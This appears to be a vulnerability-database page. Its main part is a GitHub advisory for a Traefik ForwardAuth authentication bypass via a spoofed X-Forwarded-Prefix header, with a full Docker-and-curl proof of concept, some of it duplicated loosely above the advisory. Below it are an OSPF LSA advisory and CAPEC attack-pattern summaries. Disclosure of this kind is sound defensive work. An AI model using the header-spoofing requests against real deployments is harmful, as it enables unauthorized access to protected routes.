middlewares = ["strip-forbidden", "authz"]
service = "backend"
[http.middlewares]
[http.middlewares.strip-forbidden.stripPrefix]
prefixes = ["/forbidden"]
[http.middlewares.authz.forwardAuth]
address = "http://auth:8000/check"
trustForwardHeader = false
authResponseHeaders = ["X-Auth-First-Prefix", "X-Auth-All-Prefixes"]
[http.services]
[http.services.backend.loadBalancer]
[[http.services.backend.loadBalancer.servers]]
url = "http://backend:80"
import json
from http.server import BaseHTTPRequestHandler, HTTPServer
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
if not self.path.startswith("/check"):
self.send_response(404)
self.end_headers()
return
prefixes = self.headers.get_all("X-Forwarded-Prefix") or []
first = prefixes[0] if prefixes else ""
payload = {
"path": self.path,
"first_prefix": first,
"all_prefixes": prefixes,
"x_forwarded_for": self.headers.get_all("X-Forwarded-For") or [],
}
print(json.dumps(payload), flush=True)
if first == "/admin":
self.send_response(200)
self.send_header("X-Auth-First-Prefix", first)
self.send_header("X-Auth-All-Prefixes", "|".join(prefixes))
self.end_headers()
self.wfile.write(b"authorized\n")
return
self.send_response(403)
self.send_header("Content-Type", "application/json")
self.end_headers()
self.wfile.write(json.dumps(payload).encode() + b"\n")
HTTPServer(("0.0.0.0", 8000), Handler).serve_forever()
server {
listen 80;
access_log /dev/stdout;
location / {
proxy_http_version 1.1;
proxy_pass http://traefik:80;
proxy_set_header Host $http_host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
}
docker network create --subnet 172.31.79.0/24 traefik-readme-net
docker run -d --name traefik-readme-backend \
--network traefik-readme-net \
--network-alias backend \
traefik/whoami
docker run -d --name traefik-readme-auth \
--network traefik-readme-net \
--network-alias auth \
-v "$PWD/auth.py:/app/auth.py:ro" \
-w /app \
python:3.12-alpine \
python /app/auth.py
docker run -d --name traefik-readme-traefik \
--network traefik-readme-net \
--network-alias traefik \
-p 18081:80 \
-v "$PWD/traefik.toml:/etc/traefik/traefik.toml:ro" \
-v "$PWD/dynamic.toml:/etc/traefik/dynamic.toml:ro" \
traefik:v3.6.12
docker run -d --name traefik-readme-frontend \
--network traefik-readme-net \
-p 18080:80 \
-v "$PWD/frontend.conf:/etc/nginx/conf.d/default.conf:ro" \
nginx:alpine
curl -sS -i \
-H 'Host: app.local' \
-H 'X-Forwarded-Prefix: /admin' \
http://127.0.0.1:18081/forbidden/test
HTTP/1.1 403 Forbidden
...
{"path": "/check", "first_prefix": "/forbidden", "all_prefixes": ["/forbidden"]}
curl -sS -i \
-H 'Host: app.local' \
http://127.0.0.1:18080/forbidden/test
HTTP/1.1 403 Forbidden
...
{"path": "/check", "first_prefix": "/forbidden", "all_prefixes": ["/forbidden"]}
curl -sS -i \
-H 'Host: app.local' \
-H 'X-Forwarded-Prefix: /admin' \
http://127.0.0.1:18080/forbidden/test
HTTP/1.1 200 OK
...
X-Auth-All-Prefixes: /admin|/forbidden
X-Auth-First-Prefix: /admin
X-Forwarded-Prefix: /admin
X-Forwarded-Prefix: /forbidden
docker logs traefik-readme-auth
{"path": "/check", "first_prefix": "/forbidden", "all_prefixes": ["/forbidden"], ...}
{"path": "/check", "first_prefix": "/forbidden", "all_prefixes": ["/forbidden"], ...}
{"path": "/check", "first_prefix": "/admin", "all_prefixes": ["/admin", "/forbidden"], ...}
docker rm -f traefik-readme-traefik traefik-readme-backend traefik-readme-auth traefik-readme-frontend
docker network rm traefik-readme-net
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v3"
},
"ranges": [
{
"events": [
{
"introduced": "3.7.0-ea.1"
},
{
"fixed": "3.7.0-rc.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v3"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0-beta1"
},
{
"fixed": "3.6.14"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.11.43"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.7.34"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35051"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-24T16:31:24Z",
"nvd_published_at": "2026-04-30T21:16:32Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThere is a high-severity authentication bypass vulnerability in Traefik\u0027s `ForwardAuth` middleware when `trustForwardHeader=false` is configured and Traefik is deployed behind a trusted upstream proxy.\n\nWhile `X-Forwarded-*` headers (such as `X-Forwarded-For`, `X-Forwarded-Host`, and `X-Forwarded-Proto`) from trusted context are correctly rebuilt, it does not strip or rebuild `X-Forwarded-Prefix`, leaving any attacker-supplied value intact in the subrequest forwarded to the authentication service.\n\nWhen the authentication service makes authorization decisions based on `X-Forwarded-Prefix`, an external attacker can spoof a trusted prefix value and gain unauthorized access to protected backend routes.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.43\n- https://github.com/traefik/traefik/releases/tag/v3.6.14\n- https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.2\n\n## For more information\n\nIf there are any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n### Summary\n`ForwardAuth` with `trustForwardHeader=false` still forwards an attacker-controlled `X-Forwarded-Prefix` header to the authentication service when Traefik is deployed behind a trusted upstream proxy. If the auth service relies on `X-Forwarded-Prefix` for authorization or routing decisions, an external attacker can bypass access controls and reach protected backend routes.\n\nThis was validated this against Traefik `v3.6.12` using the official Docker image and a minimal local Docker setup. A direct request to Traefik is correctly rejected, but the same request succeeds when sent through a trusted reverse proxy, which shows the issue is in the `ForwardAuth` subrequest handling rather than general ingress header stripping.\n\n### Details\nThe vulnerable behavior comes from the way Traefik builds the subrequest sent to the forward-auth server.\n\nIn [`pkg/middlewares/auth/forward.go`](pkg/middlewares/auth/forward.go), `writeHeader` first copies all incoming request headers into the auth subrequest:\n\n```go\nfunc writeHeader(req, forwardReq *http.Request, trustForwardHeader bool, allowedHeaders []string) {\n utils.CopyHeaders(forwardReq.Header, req.Header)\n ...\n forwardReq.Header = filterForwardRequestHeaders(forwardReq.Header, allowedHeaders)\n```\n\nIt then selectively rebuilds only a subset of forwarded headers when `trustForwardHeader=false`, for example:\n\n- `X-Forwarded-For`\n- `X-Forwarded-Method`\n- `X-Forwarded-Proto`\n- `X-Forwarded-Port`\n- `X-Forwarded-Host`\n- `X-Forwarded-Uri`\n\nHowever, it does **not** remove or rebuild `X-Forwarded-Prefix`, so an attacker-supplied value remains in the auth request even when forwarded headers are supposed to be untrusted.\n\nThis becomes security-relevant when `StripPrefix` is used before `ForwardAuth`. In [`pkg/middlewares/stripprefix/strip_prefix.go`](pkg/middlewares/stripprefix/strip_prefix.go), Traefik appends the stripped prefix using `Header.Add`:\n\n```go\nfunc (s *stripPrefix) serveRequest(rw http.ResponseWriter, req *http.Request, prefix string) {\n req.Header.Add(ForwardedPrefixHeader, prefix)\n```\n\nIf the attacker already sent `X-Forwarded-Prefix: /admin`, and `StripPrefix` later adds `/forbidden`, the auth service receives both values in this order:\n\n1. `/admin` (attacker-controlled)\n2. `/forbidden` (Traefik-generated)\n\nAn auth service that uses the first `X-Forwarded-Prefix` value can therefore be tricked into authorizing a protected route.\n\nWhy this appears unintended:\n\n- The docs say `trustForwardHeader` means \"Trust all X-Forwarded-* headers\" and defaults to `false`.\n- The migration notes say `X-Forwarded-Prefix` is handled like other `X-Forwarded-*` headers and removed from untrusted sources.\n- The direct-to-Traefik test case behaves consistently with that expectation and returns `403`.\n- Only the auth subrequest path still honors the spoofed `X-Forwarded-Prefix`.\n\nRelevant source/documentation locations:\n\n- `pkg/middlewares/auth/forward.go` lines 393-459\n- `pkg/middlewares/stripprefix/strip_prefix.go` lines 65-68\n- `pkg/middlewares/forwardedheaders/forwarded_header.go` lines 15-43\n- `docs/content/reference/routing-configuration/http/middlewares/forwardauth.md` lines 59-62 and 130-140\n- `docs/content/migrate/v3.md` lines 192-196\n\nThis was only tested and validated with `X-Forwarded-Prefix`. By source review, other forwarded headers that are copied but not rebuilt in `writeHeader` may deserve separate review, but I am not claiming impact for them here.\n\n### PoC\nThe following uses the official `traefik:v3.6.12` Docker image and a mounted `traefik.toml`, matching the documented deployment style.\n\n1. Create `traefik.toml`:\n\n```toml\n[entryPoints]\n [entryPoints.web]\n address = \":80\"\n [entryPoints.web.forwardedHeaders]\n trustedIPs = [\"172.31.79.0/24\"]\n\n[providers]\n [providers.file]\n filename = \"/etc/traefik/dynamic.toml\"\n watch = false\n\n[log]\n level = \"DEBUG\"\n\n[accessLog]\n```\n\n2. Create `dynamic.toml`:\n\n```toml\n[http.routers]\n [http.routers.app]\n entryPoints = [\"web\"]\n rule = \"Host(`app.local`) \u0026\u0026 PathPrefix(`/forbidden`)\"\n middlewares = [\"strip-forbidden\", \"authz\"]\n service = \"backend\"\n\n[http.middlewares]\n [http.middlewares.strip-forbidden.stripPrefix]\n prefixes = [\"/forbidden\"]\n\n [http.middlewares.authz.forwardAuth]\n address = \"http://auth:8000/check\"\n trustForwardHeader = false\n authResponseHeaders = [\"X-Auth-First-Prefix\", \"X-Auth-All-Prefixes\"]\n\n[http.services]\n [http.services.backend.loadBalancer]\n [[http.services.backend.loadBalancer.servers]]\n url = \"http://backend:80\"\n```\n\n3. Create `auth.py`:\n\n```python\nimport json\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\n\nclass Handler(BaseHTTPRequestHandler):\n def do_GET(self):\n if not self.path.startswith(\"/check\"):\n self.send_response(404)\n self.end_headers()\n return\n\n prefixes = self.headers.get_all(\"X-Forwarded-Prefix\") or []\n first = prefixes[0] if prefixes else \"\"\n payload = {\n \"path\": self.path,\n \"first_prefix\": first,\n \"all_prefixes\": prefixes,\n \"x_forwarded_for\": self.headers.get_all(\"X-Forwarded-For\") or [],\n }\n print(json.dumps(payload), flush=True)\n\n if first == \"/admin\":\n self.send_response(200)\n self.send_header(\"X-Auth-First-Prefix\", first)\n self.send_header(\"X-Auth-All-Prefixes\", \"|\".join(prefixes))\n self.end_headers()\n self.wfile.write(b\"authorized\\n\")\n return\n\n self.send_response(403)\n self.send_header(\"Content-Type\", \"application/json\")\n self.end_headers()\n self.wfile.write(json.dumps(payload).encode() + b\"\\n\")\n\n\nHTTPServer((\"0.0.0.0\", 8000), Handler).serve_forever()\n```\n\n4. Create `frontend.conf`:\n\n```nginx\nserver {\n listen 80;\n access_log /dev/stdout;\n\n location / {\n proxy_http_version 1.1;\n proxy_pass http://traefik:80;\n proxy_set_header Host $http_host;\n proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\n }\n}\n```\n\n5. Start the containers:\n\n```bash\ndocker network create --subnet 172.31.79.0/24 traefik-readme-net\n\ndocker run -d --name traefik-readme-backend \\\n --network traefik-readme-net \\\n --network-alias backend \\\n traefik/whoami\n\ndocker run -d --name traefik-readme-auth \\\n --network traefik-readme-net \\\n --network-alias auth \\\n -v \"$PWD/auth.py:/app/auth.py:ro\" \\\n -w /app \\\n python:3.12-alpine \\\n python /app/auth.py\n\ndocker run -d --name traefik-readme-traefik \\\n --network traefik-readme-net \\\n --network-alias traefik \\\n -p 18081:80 \\\n -v \"$PWD/traefik.toml:/etc/traefik/traefik.toml:ro\" \\\n -v \"$PWD/dynamic.toml:/etc/traefik/dynamic.toml:ro\" \\\n traefik:v3.6.12\n\ndocker run -d --name traefik-readme-frontend \\\n --network traefik-readme-net \\\n -p 18080:80 \\\n -v \"$PWD/frontend.conf:/etc/nginx/conf.d/default.conf:ro\" \\\n nginx:alpine\n```\n\n6. Send three requests:\n\nDirect to Traefik, spoofed header:\n```bash\ncurl -sS -i \\\n -H \u0027Host: app.local\u0027 \\\n -H \u0027X-Forwarded-Prefix: /admin\u0027 \\\n http://127.0.0.1:18081/forbidden/test\n```\n\nExpected result:\n```http\nHTTP/1.1 403 Forbidden\n...\n{\"path\": \"/check\", \"first_prefix\": \"/forbidden\", \"all_prefixes\": [\"/forbidden\"]}\n```\n\nThrough trusted proxy, no spoofing:\n```bash\ncurl -sS -i \\\n -H \u0027Host: app.local\u0027 \\\n http://127.0.0.1:18080/forbidden/test\n```\n\nExpected result:\n```http\nHTTP/1.1 403 Forbidden\n...\n{\"path\": \"/check\", \"first_prefix\": \"/forbidden\", \"all_prefixes\": [\"/forbidden\"]}\n```\n\nThrough trusted proxy, spoofed header:\n```bash\ncurl -sS -i \\\n -H \u0027Host: app.local\u0027 \\\n -H \u0027X-Forwarded-Prefix: /admin\u0027 \\\n http://127.0.0.1:18080/forbidden/test\n```\n\nObserved result:\n```http\nHTTP/1.1 200 OK\n...\nX-Auth-All-Prefixes: /admin|/forbidden\nX-Auth-First-Prefix: /admin\nX-Forwarded-Prefix: /admin\nX-Forwarded-Prefix: /forbidden\n```\n\nThe backend response confirms that the request reached the protected upstream after the auth service accepted the attacker-controlled prefix.\n\n7. Optional log confirmation from the auth service:\n\n```bash\ndocker logs traefik-readme-auth\n```\n\nObserved log sequence:\n```json\n{\"path\": \"/check\", \"first_prefix\": \"/forbidden\", \"all_prefixes\": [\"/forbidden\"], ...}\n{\"path\": \"/check\", \"first_prefix\": \"/forbidden\", \"all_prefixes\": [\"/forbidden\"], ...}\n{\"path\": \"/check\", \"first_prefix\": \"/admin\", \"all_prefixes\": [\"/admin\", \"/forbidden\"], ...}\n```\n\n8. Cleanup:\n\n```bash\ndocker rm -f traefik-readme-traefik traefik-readme-backend traefik-readme-auth traefik-readme-frontend\ndocker network rm traefik-readme-net\n```\n\n### Impact\nThis is an authentication bypass / trust-boundary bypass.\n\nAffected deployments are those that:\n\n- run Traefik behind a trusted upstream proxy\n- use `ForwardAuth`\n- rely on `trustForwardHeader=false` to avoid trusting client-supplied forwarded headers\n- pass `X-Forwarded-Prefix` to the auth service, which happens by default when `authRequestHeaders` is empty\n- make authorization or routing decisions based on `X-Forwarded-Prefix`, especially when `StripPrefix` runs before `ForwardAuth`\nIn those environments, an unauthenticated external attacker can influence the auth service\u0027s view of the protected path and gain access to backend routes that should be denied.\n\n\u003c/details\u003e\n\n----",
"id": "GHSA-6384-m2mw-rf54",
"modified": "2026-05-06T21:24:33Z",
"published": "2026-04-24T16:31:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/security/advisories/GHSA-6384-m2mw-rf54"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35051"
},
{
"type": "PACKAGE",
"url": "https://github.com/traefik/traefik"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v2.11.43"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v3.6.14"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Traefik\u0027s ForwardAuth trustForwardHeader=false allows spoofed X-Forwarded-Prefix to bypass authentication"
}
GHSA-63CP-F7WP-C79R
Vulnerability from github – Published: 2022-05-13 01:36 – Updated: 2022-05-13 01:36Open Shortest Path First (OSPF) protocol implementations may improperly determine Link State Advertisement (LSA) recency for LSAs with MaxSequenceNumber. According to RFC 2328 section 13.1, for two instances of the same LSA, recency is determined by first comparing sequence numbers, then checksums, and finally MaxAge. In a case where the sequence numbers are the same, the LSA with the larger checksum is considered more recent, and will not be flushed from the Link State Database (LSDB). Since the RFC does not explicitly state that the values of links carried by a LSA must be the same when prematurely aging a self-originating LSA with MaxSequenceNumber, it is possible in vulnerable OSPF implementations for an attacker to craft a LSA with MaxSequenceNumber and invalid links that will result in a larger checksum and thus a 'newer' LSA that will not be flushed from the LSDB. Propagation of the crafted LSA can result in the erasure or alteration of the routing tables of routers within the routing domain, creating a denial of service condition or the re-routing of traffic on the network. CVE-2017-3224 has been reserved for Quagga and downstream implementations (SUSE, openSUSE, and Red Hat packages).
{
"affected": [],
"aliases": [
"CVE-2017-3224"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-07-24T15:29:00Z",
"severity": "HIGH"
},
"details": "Open Shortest Path First (OSPF) protocol implementations may improperly determine Link State Advertisement (LSA) recency for LSAs with MaxSequenceNumber. According to RFC 2328 section 13.1, for two instances of the same LSA, recency is determined by first comparing sequence numbers, then checksums, and finally MaxAge. In a case where the sequence numbers are the same, the LSA with the larger checksum is considered more recent, and will not be flushed from the Link State Database (LSDB). Since the RFC does not explicitly state that the values of links carried by a LSA must be the same when prematurely aging a self-originating LSA with MaxSequenceNumber, it is possible in vulnerable OSPF implementations for an attacker to craft a LSA with MaxSequenceNumber and invalid links that will result in a larger checksum and thus a \u0027newer\u0027 LSA that will not be flushed from the LSDB. Propagation of the crafted LSA can result in the erasure or alteration of the routing tables of routers within the routing domain, creating a denial of service condition or the re-routing of traffic on the network. CVE-2017-3224 has been reserved for Quagga and downstream implementations (SUSE, openSUSE, and Red Hat packages).",
"id": "GHSA-63cp-f7wp-c79r",
"modified": "2022-05-13T01:36:41Z",
"published": "2022-05-13T01:36:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-3224"
},
{
"type": "WEB",
"url": "https://www.kb.cert.org/vuls/id/793496"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:A/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:H",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
CAPEC-111: JSON Hijacking (aka JavaScript Hijacking)
An attacker targets a system that uses JavaScript Object Notation (JSON) as a transport mechanism between the client and the server (common in Web 2.0 systems using AJAX) to steal possibly confidential information transmitted from the server back to the client inside the JSON object by taking advantage of the loophole in the browser's Same Origin Policy that does not prohibit JavaScript from one website to be included and executed in the context of another website.
CAPEC-141: Cache Poisoning
An attacker exploits the functionality of cache technologies to cause specific data to be cached that aids the attackers' objectives. This describes any attack whereby an attacker places incorrect or harmful material in cache. The targeted cache can be an application's cache (e.g. a web browser cache) or a public cache (e.g. a DNS or ARP cache). Until the cache is refreshed, most applications or clients will treat the corrupted cache value as valid. This can lead to a wide range of exploits including redirecting web browsers towards sites that install malware and repeatedly incorrect calculations based on the incorrect value.
CAPEC-142: DNS Cache Poisoning
A domain name server translates a domain name (such as www.example.com) into an IP address that Internet hosts use to contact Internet resources. An adversary modifies a public DNS cache to cause certain names to resolve to incorrect addresses that the adversary specifies. The result is that client applications that rely upon the targeted cache for domain name resolution will be directed not to the actual address of the specified domain name but to some other address. Adversaries can use this to herd clients to sites that install malware on the victim's computer or to masquerade as part of a Pharming attack.
CAPEC-148: Content Spoofing
An adversary modifies content to make it contain something other than what the original content producer intended while keeping the apparent source of the content unchanged. The term content spoofing is most often used to describe modification of web pages hosted by a target to display the adversary's content instead of the owner's content. However, any content can be spoofed, including the content of email messages, file transfers, or the content of other network communication protocols. Content can be modified at the source (e.g. modifying the source file for a web page) or in transit (e.g. intercepting and modifying a message between the sender and recipient). Usually, the adversary will attempt to hide the fact that the content has been modified, but in some cases, such as with web site defacement, this is not necessary. Content Spoofing can lead to malware exposure, financial fraud (if the content governs financial transactions), privacy violations, and other unwanted outcomes.
CAPEC-218: Spoofing of UDDI/ebXML Messages
An attacker spoofs a UDDI, ebXML, or similar message in order to impersonate a service provider in an e-business transaction. UDDI, ebXML, and similar standards are used to identify businesses in e-business transactions. Among other things, they identify a particular participant, WSDL information for SOAP transactions, and supported communication protocols, including security protocols. By spoofing one of these messages an attacker could impersonate a legitimate business in a transaction or could manipulate the protocols used between a client and business. This could result in disclosure of sensitive information, loss of message integrity, or even financial fraud.
CAPEC-384: Application API Message Manipulation via Man-in-the-Middle
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the content of messages. Performing this attack can allow the attacker to gain unauthorized privileges within the application, or conduct attacks such as phishing, deceptive strategies to spread malware, or traditional web-application attacks. The techniques require use of specialized software that allow the attacker to perform adversary-in-the-middle (CAPEC-94) communications between the web browser and the remote system. Despite the use of AiTH software, the attack is actually directed at the server, as the client is one node in a series of content brokers that pass information along to the application framework. Additionally, it is not true "Adversary-in-the-Middle" attack at the network layer, but an application-layer attack the root cause of which is the master applications trust in the integrity of code supplied by the client.
CAPEC-385: Transaction or Event Tampering via Application API Manipulation
An attacker hosts or joins an event or transaction within an application framework in order to change the content of messages or items that are being exchanged. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that look authentic but may contain deceptive links, substitute one item or another, spoof an existing item and conduct a false exchange, or otherwise change the amounts or identity of what is being exchanged. The techniques require use of specialized software that allow the attacker to man-in-the-middle communications between the web browser and the remote system in order to change the content of various application elements. Often, items exchanged in game can be monetized via sales for coin, virtual dollars, etc. The purpose of the attack is for the attack to scam the victim by trapping the data packets involved the exchange and altering the integrity of the transfer process.
CAPEC-386: Application API Navigation Remapping
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of links/buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains links/buttons that point to an attacker controlled destination. Some applications make navigation remapping more difficult to detect because the actual HREF values of images, profile elements, and links/buttons are masked. One example would be to place an image in a user's photo gallery that when clicked upon redirected the user to an off-site location. Also, traditional web vulnerabilities (such as CSRF) can be constructed with remapped buttons or links. In some cases navigation remapping can be used for Phishing attacks or even means to artificially boost the page view, user site reputation, or click-fraud.
CAPEC-387: Navigation Remapping To Propagate Malicious Content
An adversary manipulates either egress or ingress data from a client within an application framework in order to change the content of messages and thereby circumvent the expected application logic.
CAPEC-388: Application API Button Hijacking
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains buttons that point to an attacker controlled destination.
CAPEC-665: Exploitation of Thunderbolt Protection Flaws
An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.
CAPEC-701: Browser in the Middle (BiTM)
An adversary exploits the inherent functionalities of a web browser, in order to establish an unnoticed remote desktop connection in the victim's browser to the adversary's system. The adversary must deploy a web client with a remote desktop session that the victim can access.